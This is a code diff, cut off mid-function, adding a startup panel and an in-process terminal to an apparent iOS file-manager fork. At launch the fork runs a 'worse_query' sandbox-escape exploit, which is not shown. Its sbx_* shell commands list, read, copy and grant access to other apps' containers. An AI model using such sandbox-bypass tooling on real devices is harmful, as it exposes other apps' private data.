b/WQStartupUI.h new file mode 100644 index 0000000..66599ee --- /dev/null +++ b/WQStartupUI.h @@ -0,0 +1,10 @@ +#import + +NS_ASSUME_NONNULL_BEGIN + +/// Shows the blocking startup panel and starts the worse_query pipeline. +/// The panel dismisses when @"WQStartupFinished" is posted, then posts +/// @"WQStartupUIDidDismiss" so the browser can jump to the populated root. +FOUNDATION_EXPORT void WQStartupUIBegin(void); + +NS_ASSUME_NONNULL_END diff --git a/WQStartupUI.m b/WQStartupUI.m new file mode 100644 index 0000000..0151753 --- /dev/null +++ b/WQStartupUI.m @@ -0,0 +1,272 @@ +// +// WQStartupUI.m +// FilzaSlop +// +// Blocking launch panel: the exploit runs and every supported directory is +// indexed before Filza's browser becomes interactive. This prevents the +// empty-folder flash that occurs when Filza restores its own home path first. +// + +#import "WQStartupUI.h" +#import "WQFilzaIntegration.h" + +#import +#import + +static UIWindow *gStartupWindow; +static UIWindow *gPreviousKeyWindow; +static BOOL gStartupBegan; + +@interface WQStartupViewController : UIViewController +@property (nonatomic, strong) UIProgressView *progressView; +@property (nonatomic, strong) UILabel *statusLabel; +@property (nonatomic, strong) UILabel *percentLabel; +@property (nonatomic, strong) UILabel *detailLabel; +@property (nonatomic, strong) UIActivityIndicatorView *spinner; +@property (nonatomic, strong) NSArray *observers; +@property (nonatomic, assign) BOOL finished; +@property (nonatomic, assign) NSTimeInterval shownAt; +@property (nonatomic, assign) double lastProgress; +@end + +@implementation WQStartupViewController + +- (void)viewDidLoad +{ + [super viewDidLoad]; + self.view.backgroundColor = [UIColor colorWithWhite:0.035 alpha:1.0]; + self.overrideUserInterfaceStyle = UIUserInterfaceStyleDark; + self.shownAt = [NSDate timeIntervalSinceReferenceDate]; + + UIView *card = [UIView new]; + card.translatesAutoresizingMaskIntoConstraints = NO; + card.backgroundColor = [UIColor colorWithWhite:0.105 alpha:1.0]; + card.layer.cornerRadius = 22; + card.layer.cornerCurve = kCACornerCurveContinuous; + [self.view addSubview:card]; + + UIImage *icon = [UIImage imageNamed:@"AppIcon60x60"]; + if (!icon) icon = [UIImage imageNamed:@"AppIcon"]; + UIImageView *iconView = [[UIImageView alloc] initWithImage:icon]; + iconView.translatesAutoresizingMaskIntoConstraints = NO; + iconView.layer.cornerRadius = 16; + iconView.layer.cornerCurve = kCACornerCurveContinuous; + iconView.clipsToBounds = YES; + iconView.contentMode = UIViewContentModeScaleAspectFill; + [card addSubview:iconView]; + + UILabel *title = [UILabel new]; + title.translatesAutoresizingMaskIntoConstraints = NO; + title.text = @"Filza WQ"; + title.textColor = UIColor.whiteColor; + title.font = [UIFont systemFontOfSize:25 weight:UIFontWeightBold]; + title.textAlignment = NSTextAlignmentCenter; + [card addSubview:title]; + + UILabel *subtitle = [UILabel new]; + subtitle.translatesAutoresizingMaskIntoConstraints = NO; + subtitle.text = @"iOS 27.2 · worse_query sandbox access"; + subtitle.textColor = [UIColor colorWithWhite:0.62 alpha:1.0]; + subtitle.font = [UIFont systemFontOfSize:12 weight:UIFontWeightMedium]; + subtitle.textAlignment = NSTextAlignmentCenter; + [card addSubview:subtitle]; + + self.statusLabel = [UILabel new]; + self.statusLabel.translatesAutoresizingMaskIntoConstraints = NO; + self.statusLabel.text = @"正在启动…"; + self.statusLabel.textColor = UIColor.whiteColor; + self.statusLabel.font = [UIFont systemFontOfSize:15 weight:UIFontWeightSemibold]; + self.statusLabel.textAlignment = NSTextAlignmentCenter; + self.statusLabel.numberOfLines = 2; + [card addSubview:self.statusLabel]; + + self.progressView = [[UIProgressView alloc] initWithProgressViewStyle:UIProgressViewStyleDefault]; + self.progressView.translatesAutoresizingMaskIntoConstraints = NO; + self.progressView.progress = 0.02; + self.progressView.progressTintColor = [UIColor colorWithRed:0.20 green:0.55 blue:1.0 alpha:1.0]; + self.progressView.trackTintColor = [UIColor colorWithWhite:0.24 alpha:1.0]; + self.progressView.layer.cornerRadius = 3; + self.progressView.clipsToBounds = YES; + [card addSubview:self.progressView]; + + self.percentLabel = [UILabel new]; + self.percentLabel.translatesAutoresizingMaskIntoConstraints = NO; + self.percentLabel.text = @"2%"; + self.percentLabel.textColor = [UIColor colorWithWhite:0.72 alpha:1.0]; + self.percentLabel.font = [UIFont monospacedDigitSystemFontOfSize:12 weight:UIFontWeightMedium]; + self.percentLabel.textAlignment = NSTextAlignmentCenter; + [card addSubview:self.percentLabel]; + + self.spinner = [[UIActivityIndicatorView alloc] initWithActivityIndicatorStyle:UIActivityIndicatorViewStyleMedium]; + self.spinner.translatesAutoresizingMaskIntoConstraints = NO; + self.spinner.color = [UIColor colorWithWhite:0.72 alpha:1.0]; + [self.spinner startAnimating]; + [card addSubview:self.spinner]; + + self.detailLabel = [UILabel new]; + self.detailLabel.translatesAutoresizingMaskIntoConstraints = NO; + self.detailLabel.text = @"应用数据、App Group、系统组与扩展目录加载完成后才会进入。"; + self.detailLabel.textColor = [UIColor colorWithWhite:0.52 alpha:1.0]; + self.detailLabel.font = [UIFont systemFontOfSize:11]; + self.detailLabel.textAlignment = NSTextAlignmentCenter; + self.detailLabel.numberOfLines = 3; + [card addSubview:self.detailLabel]; + + CGFloat cardWidth = MIN(340, self.view.bounds.size.width - 48); + [NSLayoutConstraint activateConstraints:@[ + [card.centerXAnchor constraintEqualToAnchor:self.view.centerXAnchor], + [card.centerYAnchor constraintEqualToAnchor:self.view.centerYAnchor], + [card.widthAnchor constraintEqualToConstant:cardWidth], + + [iconView.topAnchor constraintEqualToAnchor:card.topAnchor constant:26], + [iconView.centerXAnchor constraintEqualToAnchor:card.centerXAnchor], + [iconView.widthAnchor constraintEqualToConstant:72], + [iconView.heightAnchor constraintEqualToConstant:72], + + [title.topAnchor constraintEqualToAnchor:iconView.bottomAnchor constant:12], + [title.leadingAnchor constraintEqualToAnchor:card.leadingAnchor constant:20], + [title.trailingAnchor constraintEqualToAnchor:card.trailingAnchor constant:-20], + + [subtitle.topAnchor constraintEqualToAnchor:title.bottomAnchor constant:3], + [subtitle.leadingAnchor constraintEqualToAnchor:card.leadingAnchor constant:20], + [subtitle.trailingAnchor constraintEqualToAnchor:card.trailingAnchor constant:-20], + + [self.statusLabel.topAnchor constraintEqualToAnchor:subtitle.bottomAnchor constant:22], + [self.statusLabel.leadingAnchor constraintEqualToAnchor:card.leadingAnchor constant:20], + [self.statusLabel.trailingAnchor constraintEqualToAnchor:card.trailingAnchor constant:-20], + + [self.progressView.topAnchor constraintEqualToAnchor:self.statusLabel.bottomAnchor constant:14], + [self.progressView.leadingAnchor constraintEqualToAnchor:card.leadingAnchor constant:24], + [self.progressView.trailingAnchor constraintEqualToAnchor:card.trailingAnchor constant:-24], + [self.progressView.heightAnchor constraintEqualToConstant:5], + + [self.percentLabel.topAnchor constraintEqualToAnchor:self.progressView.bottomAnchor constant:6], + [self.percentLabel.centerXAnchor constraintEqualToAnchor:card.centerXAnchor], + + [self.spinner.topAnchor constraintEqualToAnchor:self.percentLabel.bottomAnchor constant:12], + [self.spinner.centerXAnchor constraintEqualToAnchor:card.centerXAnchor], + + [self.detailLabel.topAnchor constraintEqualToAnchor:self.spinner.bottomAnchor constant:10], + [self.detailLabel.leadingAnchor constraintEqualToAnchor:card.leadingAnchor constant:20], + [self.detailLabel.trailingAnchor constraintEqualToAnchor:card.trailingAnchor constant:-20], + [self.detailLabel.bottomAnchor constraintEqualToAnchor:card.bottomAnchor constant:-22], + ]]; + + __weak typeof(self) weakSelf = self; + NSNotificationCenter *center = NSNotificationCenter.defaultCenter; + id progressObserver = [center addObserverForName:@"WQStartupProgress" + object:nil queue:NSOperationQueue.mainQueue + usingBlock:^(NSNotification *notification) { + [weakSelf applyProgress:notification.userInfo]; + }]; + id finishObserver = [center addObserverForName:@"WQStartupFinished" + object:nil queue:NSOperationQueue.mainQueue + usingBlock:^(NSNotification *notification) { + [weakSelf finish]; + }]; + self.observers = @[progressObserver, finishObserver]; + + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 12 * NSEC_PER_SEC), + dispatch_get_main_queue(), ^{ + if (weakSelf.finished) return; + if (weakSelf.lastProgress < 0.9) + weakSelf.detailLabel.text = @"目录较多时首次索引可能需要几十秒,请保持应用在前台。"; + }); +} + +- (void)applyProgress:(NSDictionary *)info +{ + NSNumber *progressValue = info[@"progress"]; + NSString *status = info[@"status"]; + double progress = progressValue.doubleValue; + if (progress > self.lastProgress) self.lastProgress = progress; + if (self.lastProgress > 1.0) self.lastProgress = 1.0; + + if (status.length) self.statusLabel.text = status; + [self.progressView setProgress:(float)MAX(self.lastProgress, 0.02) animated:YES]; + self.percentLabel.text = [NSString stringWithFormat:@"%d%%", + (int)round(self.lastProgress * 100.0)]; + if (progress >= 1.0) { + [self.spinner stopAnimating]; + self.statusLabel.text = @"正在进入 Filza…"; + } +} + +- (void)finish +{ + if (self.finished) return; + self.finished = YES; + [self applyProgress:@{ @"progress": @1.0, @"status": @"准备完成,正在进入 Filza…" }]; + [self.spinner stopAnimating]; + + NSTimeInterval elapsed = [NSDate timeIntervalSinceReferenceDate] - self.shownAt; + NSTimeInterval delay = MAX(0.35, 1.1 - elapsed); + __weak typeof(self) weakSelf = self; + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(delay * NSEC_PER_SEC)), + dispatch_get_main_queue(), ^{ + UIWindow *overlay = gStartupWindow; + [UIView animateWithDuration:0.28 animations:^{ + overlay.alpha = 0.0; + } completion:^(BOOL completed) { + overlay.hidden = YES; + gStartupWindow = nil; + [UIApplication.sharedApplication setIdleTimerDisabled:NO]; + if (gPreviousKeyWindow) { + [gPreviousKeyWindow makeKeyWindow]; + } else { + for (UIWindow *candidate in UIApplication.sharedApplication.windows) { + if (candidate != overlay && !candidate.hidden) { + [candidate makeKeyWindow]; + break; + } + } + } + gPreviousKeyWindow = nil; + [NSNotificationCenter.defaultCenter + postNotificationName:@"WQStartupUIDidDismiss" object:nil]; + (void)weakSelf; + }]; + }); +} + +- (void)dealloc +{ + for (id observer in self.observers) + [NSNotificationCenter.defaultCenter removeObserver:observer]; +} + +@end + +void WQStartupUIBegin(void) +{ + if (gStartupBegan) return; + gStartupBegan = YES; + + dispatch_async(dispatch_get_main_queue(), ^{ + if (gStartupWindow) return; + gPreviousKeyWindow = UIApplication.sharedApplication.keyWindow; + gStartupWindow = [[UIWindow alloc] initWithFrame:UIScreen.mainScreen.bounds]; + gStartupWindow.windowLevel = UIWindowLevelAlert + 10; + gStartupWindow.backgroundColor = UIColor.blackColor; + NSSet *scenes = UIApplication.sharedApplication.connectedScenes; + for (UIScene *scene in scenes) { + if ([scene isKindOfClass:UIWindowScene.class]) { + gStartupWindow.windowScene = (UIWindowScene *)scene; + break; + } + } + WQStartupViewController *controller = [WQStartupViewController new]; + // Force viewDidLoad so the progress notifications cannot race the + // first report from WQFilzaStart. + (void)controller.view; + gStartupWindow.rootViewController = controller; + gStartupWindow.alpha = 1.0; + [gStartupWindow makeKeyAndVisible]; + [UIApplication.sharedApplication setIdleTimerDisabled:YES]; + + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 120 * NSEC_PER_MSEC), + dispatch_get_main_queue(), ^{ + WQFilzaStart(); + }); + }); +} diff --git a/WQTerminal.h b/WQTerminal.h new file mode 100644 index 0000000..684d8d5 --- /dev/null +++ b/WQTerminal.h @@ -0,0 +1,18 @@ +#import + +NS_ASSUME_NONNULL_BEGIN + +/// Loads the a-Shell mini ios_system runtime and prepares its environment. +FOUNDATION_EXPORT BOOL WQTerminalPrepare(void); + +/// Creates a PTY-backed in-process shell. Returns the master descriptor and +/// writes a harmless fake pid to pidOut (the terminal UI only uses it for a +/// stop button; there is no child process). +FOUNDATION_EXPORT int WQTerminalSpawnShell(int * _Nullable pidOut, + NSString * _Nullable chdirPath); + +/// Runs a terminal self-test when WQ_TEST_TERMINAL is set in the environment. +FOUNDATION_EXPORT void WQTerminalSelfTest(void); +FOUNDATION_EXPORT void WQTerminalPresentTestUI(void); + +NS_ASSUME_NONNULL_END diff --git a/WQTerminal.m b/WQTerminal.m new file mode 100644 index 0000000..cccdf1b --- /dev/null +++ b/WQTerminal.m @@ -0,0 +1,1047 @@ +// +// WQTerminal.m +// FilzaSlop +// +// In-process terminal bridge. Filza's PTY UI normally starts a root helper; +// under normal signing that helper is unavailable and fork() is denied. This +// bridge keeps the same PTY contract but executes commands with a-Shell mini's +// ios_system runtime in a background thread. +// + +#import "WQTerminal.h" +#import "WQPackages.h" +#import "WQFilzaIntegration.h" +#import "WQRespring.h" +#import "WQArchive.h" + +#import +#import +#import +#import +#import +#import +#import +#import +#import +#include +#import +#import +#import +#import +#include +#import +#import +#import +#import +#import + +extern char **environ; + +typedef void (*WQInitializeEnvironmentFn)(void); +typedef int (*WQAddCommandListFn)(NSString *); +typedef int (*WQIosSystemFn)(const char *); +typedef void (*WQIosSetStreamsFn)(FILE *, FILE *, FILE *); +typedef void (*WQIosSetTtyFn)(FILE *); +typedef int (*WQIosSetEnvFn)(const char *, const char *, int); +typedef int (*WQIosSetMiniRootFn)(NSString *); +typedef NSArray *(*WQCommandsAsArrayFn)(void); +typedef void (*WQIosSetDirectoryURLFn)(NSURL *); +typedef void (*WQIosSwitchSessionFn)(const void *); + +static void *gIOSSystemHandle; +static WQInitializeEnvironmentFn iosInitializeEnvironment; +static WQAddCommandListFn iosAddCommandList; +static WQIosSystemFn iosSystem; +static WQIosSetStreamsFn iosSetStreams; +static WQIosSetTtyFn iosSetTty; +static WQIosSetEnvFn iosSetEnv; +static WQIosSetMiniRootFn iosSetMiniRoot; +static WQCommandsAsArrayFn iosCommandsAsArray; +static WQIosSetDirectoryURLFn iosSetDirectoryURL; +static WQIosSwitchSessionFn iosSwitchSession; +static BOOL gPrepared; +static BOOL gPreparing; +static BOOL gIOSAvailable; + +static NSString *WQTerminalRoot(void) +{ + NSString *documents = NSSearchPathForDirectoriesInDomains( + NSDocumentDirectory, NSUserDomainMask, YES).firstObject; + return [documents stringByAppendingPathComponent:@".terminal"]; +} + +static void WQTerminalSetEnvironment(void) +{ + NSString *base = NSBundle.mainBundle.bundlePath; + NSString *root = WQTerminalRoot(); + NSString *resources = [base stringByAppendingPathComponent:@"WQResources"]; + NSString *path = [NSString stringWithFormat: + @"%@/bin:%@/usr/bin:%@/usr/bin:%@/bin:/usr/bin:/bin:/usr/sbin:/sbin", + resources, resources, root, root]; + setenv("PATH", path.UTF8String, 1); + setenv("HOME", NSHomeDirectory().UTF8String, 1); + setenv("TERM", "xterm-256color", 1); + setenv("TERM_PROGRAM", "Filza", 1); + setenv("LANG", "en_US.UTF-8", 1); + setenv("LC_ALL", "en_US.UTF-8", 1); + setenv("TMPDIR", NSTemporaryDirectory().UTF8String, 1); + setenv("TERM_ROOT", root.UTF8String, 1); + if (iosSetEnv) { + iosSetEnv("PATH", path.UTF8String, 1); + iosSetEnv("HOME", NSHomeDirectory().UTF8String, 1); + iosSetEnv("TERM", "xterm-256color", 1); + iosSetEnv("TERM_PROGRAM", "Filza", 1); + iosSetEnv("LANG", "en_US.UTF-8", 1); + iosSetEnv("LC_ALL", "en_US.UTF-8", 1); + iosSetEnv("TMPDIR", NSTemporaryDirectory().UTF8String, 1); + iosSetEnv("TERM_ROOT", root.UTF8String, 1); + iosSetEnv("PERL5LIB", [resources stringByAppendingPathComponent:@"Perl"].UTF8String, 1); + iosSetEnv("MANPATH", [resources stringByAppendingPathComponent:@"man"].UTF8String, 1); + iosSetEnv("MAGICK_CONFIGURE_PATH", + [resources stringByAppendingPathComponent:@"ImageMagick-7"].UTF8String, 1); + iosSetEnv("TERMINFO", [resources stringByAppendingPathComponent:@"terminfo"].UTF8String, 1); + } +} + +BOOL WQTerminalPrepare(void) +{ + if (gPrepared) return gIOSAvailable; + if (gPreparing) return gIOSAvailable; + gPreparing = YES; + + NSString *framework = [NSBundle.mainBundle.bundlePath + stringByAppendingPathComponent:@"Frameworks/ios_system.framework/ios_system"]; + gIOSSystemHandle = dlopen(framework.fileSystemRepresentation, + RTLD_NOW | RTLD_GLOBAL); + if (!gIOSSystemHandle) { + NSLog(@"[Terminal] ios_system dlopen failed: %s", dlerror()); + gPreparing = NO; + gPrepared = YES; + return NO; + } + +#define WQ_LOAD(name) ios##name = (__typeof(ios##name))dlsym(gIOSSystemHandle, "ios_" #name) + iosInitializeEnvironment = (WQInitializeEnvironmentFn)dlsym(gIOSSystemHandle, + "initializeEnvironment"); + iosAddCommandList = (WQAddCommandListFn)dlsym(gIOSSystemHandle, + "addCommandList"); + iosSystem = (WQIosSystemFn)dlsym(gIOSSystemHandle, "ios_system"); + iosSetStreams = (WQIosSetStreamsFn)dlsym(gIOSSystemHandle, "ios_setStreams"); + iosSetTty = (WQIosSetTtyFn)dlsym(gIOSSystemHandle, "ios_settty"); + iosSetEnv = (WQIosSetEnvFn)dlsym(gIOSSystemHandle, "ios_setenv"); + iosSetMiniRoot = (WQIosSetMiniRootFn)dlsym(gIOSSystemHandle, + "ios_setMiniRoot"); + iosCommandsAsArray = (WQCommandsAsArrayFn)dlsym(gIOSSystemHandle, + "commandsAsArray"); + iosSetDirectoryURL = (WQIosSetDirectoryURLFn)dlsym(gIOSSystemHandle, + "ios_setDirectoryURL"); + iosSwitchSession = (WQIosSwitchSessionFn)dlsym(gIOSSystemHandle, + "ios_switchSession"); +#undef WQ_LOAD + + if (!iosSystem || !iosInitializeEnvironment) { + NSLog(@"[Terminal] ios_system symbols missing"); + gPreparing = NO; + gPrepared = YES; + return NO; + } + + WQTerminalSetEnvironment(); + if (iosInitializeEnvironment) iosInitializeEnvironment(); + NSString *dictionary = [NSBundle.mainBundle.bundlePath + stringByAppendingPathComponent:@"commandDictionary.plist"]; + if (iosAddCommandList && [[NSFileManager defaultManager] fileExistsAtPath:dictionary]) + iosAddCommandList(dictionary); + if (iosSetMiniRoot) iosSetMiniRoot(@"/"); + if (iosSetDirectoryURL) + iosSetDirectoryURL([NSURL fileURLWithPath:NSHomeDirectory()]); + + bool *sideLoading = (bool *)dlsym(gIOSSystemHandle, "sideLoading"); + if (sideLoading) *sideLoading = true; + bool *joinMainThread = (bool *)dlsym(gIOSSystemHandle, "joinMainThread"); + if (joinMainThread) *joinMainThread = true; + + NSArray *commands = iosCommandsAsArray ? iosCommandsAsArray() : nil; + NSLog(@"[Terminal] ios_system ready commands=%lu", (unsigned long)commands.count); + gIOSAvailable = YES; + gPreparing = NO; + gPrepared = YES; + return YES; +} + +#pragma mark - Shell context + +@interface WQShellContext : NSObject +@property (nonatomic) int descriptor; +@property (nonatomic, assign) FILE *input; +@property (nonatomic, assign) FILE *output; +@property (nonatomic, assign) FILE *error; +@property (nonatomic, strong) NSMutableArray *history; +@property (nonatomic, copy) NSString *previousDirectory; +@property (nonatomic) BOOL running; +@end + +@implementation WQShellContext +@end + +static void WQShellWrite(WQShellContext *context, const char *text) +{ + if (!text || !*text) return; + write(context.descriptor, text, strlen(text)); +} + +static void WQShellPrintf(WQShellContext *context, NSString *format, ...) +{ + va_list args; + va_start(args, format); + NSString *text = [[NSString alloc] initWithFormat:format arguments:args]; + va_end(args); + WQShellWrite(context, text.UTF8String); +} + +static NSString *WQDisplayDirectory(void) +{ + char buffer[PATH_MAX]; + if (!getcwd(buffer, sizeof(buffer))) return @"?"; + NSString *path = [NSString stringWithUTF8String:buffer]; + NSString *home = NSHomeDirectory(); + if ([path isEqualToString:home]) return @"~"; + if ([path hasPrefix:[home stringByAppendingString:@"/"]]) + return [@"~" stringByAppendingString: + [path substringFromIndex:home.length]]; + return path; +} + +static void WQShellPrompt(WQShellContext *context) +{ + NSString *directory = WQDisplayDirectory(); + if (gIOSAvailable) + WQShellPrintf(context, @"\033[1;32mfilza27.2\033[0m \033[1;34m%s\033[0m$ ", + directory.UTF8String); + else + WQShellPrintf(context, @"filza27.2 %s$ ", directory.UTF8String); + fflush(context.output); +} + +static NSString *WQExpandPath(NSString *value) +{ + if ([value isEqualToString:@"~"]) return NSHomeDirectory(); + if ([value hasPrefix:@"~/"]) + return [NSHomeDirectory() stringByAppendingString: + [value substringFromIndex:1]]; + return value; +} + +static void WQChangeDirectory(WQShellContext *context, NSString *target) +{ + NSString *previous = [NSString stringWithUTF8String:getcwd(NULL, 0) ?: "/"]; + if ([target isEqualToString:@"-"]) target = context.previousDirectory ?: previous; + target = WQExpandPath(target); + if (chdir(target.fileSystemRepresentation) != 0) { + WQShellPrintf(context, @"cd: %s: %s\r\n", target.UTF8String, + strerror(errno)); + return; + } + context.previousDirectory = previous; + char buffer[PATH_MAX]; + if (getcwd(buffer, sizeof(buffer))) + setenv("PWD", buffer, 1); + if (iosSetEnv && getcwd(buffer, sizeof(buffer))) + iosSetEnv("PWD", buffer, 1); +} + +static NSArray *WQSplitCommand(NSString *line) +{ + NSMutableArray *words = [NSMutableArray array]; + NSMutableString *current = [NSMutableString string]; + BOOL singleQuote = NO, doubleQuote = NO, escaped = NO; + for (NSUInteger index = 0; index < line.length; index++) { + unichar character = [line characterAtIndex:index]; + if (escaped) { + [current appendFormat:@"%C", character]; + escaped = NO; + continue; + } + if (character == '\\' && !singleQuote) { + escaped = YES; + continue; + } + if (character == '\'' && !doubleQuote) { + singleQuote = !singleQuote; + continue; + } + if (character == '"' && !singleQuote) { + doubleQuote = !doubleQuote; + continue; + } + if ((character == ' ' || character == '\t') && !singleQuote && !doubleQuote) { + if (current.length) { + [words addObject:current.copy]; + [current setString:@""]; + } + continue; + } + [current appendFormat:@"%C", character]; + } + if (current.length) [words addObject:current.copy]; + return words; +} + +static int WQRunPackages(NSArray *words, FILE *out, FILE *err) +{ + if (words.count == 0) return 1; + NSUInteger count = (NSUInteger)words.count; + char **argv = calloc(count + 1, sizeof(char *)); + for (NSUInteger index = 0; index < count; index++) + argv[index] = strdup(words[index].UTF8String); + argv[count] = NULL; + int result = 127; + NSString *command = words.firstObject; + if ([command isEqualToString:@"dpkg"] || + [command isEqualToString:@"dpkg-deb"]) + result = WQDPKGMain((int)count, argv, out, err); + else + result = WQAptMain((int)count, argv, out, err); + for (NSUInteger index = 0; index < count; index++) free(argv[index]); + free(argv); + return result; +} + +static BOOL WQFallbackCommand(NSArray *words, WQShellContext *context) +{ + if (words.count == 0) return YES; + NSString *command = words.firstObject; + NSFileManager *fm = NSFileManager.defaultManager; + if ([command isEqualToString:@"pwd"]) { + char buffer[PATH_MAX]; + WQShellPrintf(context, @"%s\r\n", getcwd(buffer, sizeof(buffer)) ?: "?"); + return YES; + } + if ([command isEqualToString:@"echo"]) { + NSArray *rest = [words subarrayWithRange:NSMakeRange(1, words.count - 1)]; + WQShellPrintf(context, @"%s\r\n", [rest componentsJoinedByString:@" "].UTF8String); + return YES; + } + if ([command isEqualToString:@"ls"]) { + NSString *path = words.count > 1 ? WQExpandPath(words[1]) : @"."; + NSArray *names = [fm contentsOfDirectoryAtPath:path error:nil]; + if (!names) { + WQShellPrintf(context, @"ls: %s: %s\r\n", path.UTF8String, strerror(errno)); + return YES; + } + for (NSString *name in [names sortedArrayUsingSelector:@selector(localizedStandardCompare:)]) + WQShellPrintf(context, @"%s\r\n", name.UTF8String); + return YES; + } + if ([command isEqualToString:@"cat"]) { + if (words.count < 2) { WQShellPrintf(context, @"cat: missing file\r\n"); return YES; } + NSData *data = [NSData dataWithContentsOfFile:WQExpandPath(words[1])]; + if (data) { + write(context.descriptor, data.bytes, data.length); + WQShellWrite(context, "\r\n"); + } else { + WQShellPrintf(context, @"cat: %s: %s\r\n", words[1].UTF8String, strerror(errno)); + } + return YES; + } + if ([command isEqualToString:@"mkdir"] || [command isEqualToString:@"rm"] || + [command isEqualToString:@"touch"]) { + if (words.count < 2) return YES; + NSString *path = WQExpandPath(words[1]); + NSError *error = nil; + BOOL ok = YES; + if ([command isEqualToString:@"mkdir"]) + ok = [fm createDirectoryAtPath:path withIntermediateDirectories:YES + attributes:nil error:&error]; + else if ([command isEqualToString:@"rm"]) + ok = [fm removeItemAtPath:path error:&error]; + else + ok = [fm createFileAtPath:path contents:nil attributes:nil]; + if (!ok) WQShellPrintf(context, @"%s: %s\r\n", command.UTF8String, + error.localizedDescription.UTF8String); + return YES; + } + if ([command isEqualToString:@"help"] || [command isEqualToString:@"?"]) { + WQShellWrite(context, + "filza27.2 shell commands\r\n" + " cd, pwd, ls, cat, echo, mkdir, rm, touch, clear, exit\r\n" + " apt / apt-get update | list | search | show | install | remove\r\n" + " dpkg -i | -l | -s | -L | -r | --contents\r\n" + " any a-Shell mini command (ls, grep, sed, awk, curl, tar, vim, ...)\r\n"); + return YES; + } + return NO; +} + +static void WQHexDump(WQShellContext *context, NSString *path, NSUInteger limit) +{ + NSData *data = [NSData dataWithContentsOfFile:WQExpandPath(path)]; + if (!data) { + WQShellPrintf(context, @"hexdump: %@: %s\r\n", path, strerror(errno)); + return; + } + NSUInteger length = MIN(data.length, limit); + const uint8_t *bytes = data.bytes; + for (NSUInteger offset = 0; offset < length; offset += 16) { + NSMutableString *line = [NSMutableString stringWithFormat:@"%08lx ", + (unsigned long)offset]; + NSUInteger row = MIN((NSUInteger)16, length - offset); + for (NSUInteger i = 0; i < 16; i++) { + if (i < row) [line appendFormat:@"%02x ", bytes[offset + i]]; + else [line appendString:@" "]; + if (i == 7) [line appendString:@" "]; + } + [line appendString:@" |"]; + for (NSUInteger i = 0; i < row; i++) { + uint8_t c = bytes[offset + i]; + [line appendFormat:@"%c", (c >= 32 && c < 127) ? c : '.']; + } + [line appendString:@"|\r\n"]; + WQShellWrite(context, line.UTF8String); + } +} + +static BOOL WQRunSBXCommand(NSArray *words, WQShellContext *context) +{ + if (words.count == 0) return NO; + NSString *command = words.firstObject; + if ([command isEqualToString:@"sbx_help"]) command = @"sbxhelp"; + if ([command isEqualToString:@"sbx_status"]) { + WQShellPrintf(context, @"hub: %@\r\n", WQVirtualRootFolder()); + WQShellPrintf(context, @"active handles: %lu\r\n", + (unsigned long)WQActiveGrantHandles().count); + for (NSString *root in WQAccessibleRoots()) + WQShellPrintf(context, @" root: %@\r\n", root); + return YES; + } + if ([command isEqualToString:@"sbx_remount"]) { + WQRefreshDiscovery(); + WQShellWrite(context, "sbx_remount: discovery restarted\r\n"); + return YES; + } + if ([command isEqualToString:@"sbx_ls"]) { + NSString *path = words.count > 1 ? WQExpandPath(words[1]) : @"."; + NSError *error = nil; + NSArray *names = [NSFileManager.defaultManager contentsOfDirectoryAtPath:path + error:&error]; + if (!names) { + WQShellPrintf(context, @"sbx_ls: %@: %@\r\n", path, + error.localizedDescription ?: @"unreadable"); + return YES; + } + for (NSString *name in [names sortedArrayUsingSelector: + @selector(localizedStandardCompare:)]) { + NSString *full = [path stringByAppendingPathComponent:name]; + BOOL directory = NO; + [NSFileManager.defaultManager fileExistsAtPath:full isDirectory:&directory]; + WQShellPrintf(context, @"%@%@\r\n", name, directory ? @"/" : @""); + } + return YES; + } + if ([command isEqualToString:@"sbx_cat"]) { + if (words.count < 2) { WQShellWrite(context, "usage: sbx_cat \r\n"); return YES; } + NSData *data = [NSData dataWithContentsOfFile:WQExpandPath(words[1])]; + if (!data) { + WQShellPrintf(context, @"sbx_cat: %@: %s\r\n", words[1], strerror(errno)); + } else { + write(context.descriptor, data.bytes, data.length); + WQShellWrite(context, "\r\n"); + } + return YES; + } + if ([command isEqualToString:@"sbx_cp"]) { + if (words.count < 3) { WQShellWrite(context, "usage: sbx_cp \r\n"); return YES; } + NSError *error = nil; + BOOL ok = [NSFileManager.defaultManager copyItemAtPath:WQExpandPath(words[1]) + toPath:WQExpandPath(words[2]) error:&error]; + if (!ok) WQShellPrintf(context, @"sbx_cp: %@\r\n", + error.localizedDescription ?: @"copy failed"); + else WQShellWrite(context, "sbx_cp: copied\r\n"); + return YES; + } + if ([command isEqualToString:@"sbx_hexdump"]) { + NSUInteger index = 1; + NSUInteger limit = 256; + if (index < words.count && [words[index] isEqualToString:@"-n"]) { + if (index + 1 < words.count) { + limit = (NSUInteger)MAX(1, words[index + 1].integerValue); + index += 2; + } + } + if (index >= words.count) { + WQShellWrite(context, "usage: sbx_hexdump [-n N] \r\n"); + return YES; + } + WQHexDump(context, words[index], limit); + return YES; + } + if ([command isEqualToString:@"sbx_containers"]) { + if (words.count > 1) { + NSString *root = WQExpandPath(words[1]); + NSArray *children = WQChildrenForRoot(root); + WQShellPrintf(context, @"%@: %lu child(ren)\r\n", root, + (unsigned long)children.count); + for (NSString *child in children) + WQShellPrintf(context, @" %@\r\n", child); + } else { + for (NSString *root in WQAccessibleRoots()) + WQShellPrintf(context, @"%@ (%lu)\r\n", root, + (unsigned long)WQChildrenForRoot(root).count); + } + return YES; + } + if ([command isEqualToString:@"sbx_id"]) { + if (words.count < 2) { WQShellWrite(context, "usage: sbx_id \r\n"); return YES; } + NSString *identifier = WQIdentifyContainerPath(WQExpandPath(words[1])); + WQShellPrintf(context, @"%@\r\n", identifier ?: @"(unidentified)"); + return YES; + } + if ([command isEqualToString:@"sbx_grant"]) { + BOOL create = NO; + NSUInteger index = 1; + if (index < words.count && [words[index] isEqualToString:@"-c"]) { + create = YES; index++; + } + if (index >= words.count) { + WQShellWrite(context, "usage: sbx_grant [-c] \r\n"); + return YES; + } + NSString *path = WQExpandPath(words[index]); + if (WQGrantExtraPath(path, create)) + WQShellPrintf(context, @"sbx_grant: ok %@\r\n", path); + else + WQShellPrintf(context, @"sbx_grant: failed %@\r\n", path); + return YES; + } + if ([command isEqualToString:@"sbx_release"]) { + if (words.count < 2) { WQShellWrite(context, "usage: sbx_release \r\n"); return YES; } + if ([words[1] isEqualToString:@"all"]) { + WQReleaseAllGrants(); + WQShellWrite(context, "sbx_release: released all\r\n"); + } else { + NSNumber *handle = @(words[1].longLongValue); + WQReleaseGrantHandle(handle); + WQShellPrintf(context, @"sbx_release: %@\r\n", 